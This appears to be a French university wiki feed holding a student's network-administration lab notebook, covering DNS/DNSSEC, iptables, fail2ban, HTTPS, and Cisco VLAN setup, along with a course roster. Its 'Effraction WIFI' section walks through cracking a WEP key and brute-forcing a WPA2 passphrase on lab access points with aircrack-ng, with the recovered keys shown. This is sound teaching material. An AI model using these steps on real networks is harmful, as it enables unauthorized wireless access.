&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s'interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12200</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12200"/>
		<updated>2026-02-10T16:35:21Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* Tableau des réseaux virtuels */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|-&lt;br /&gt;
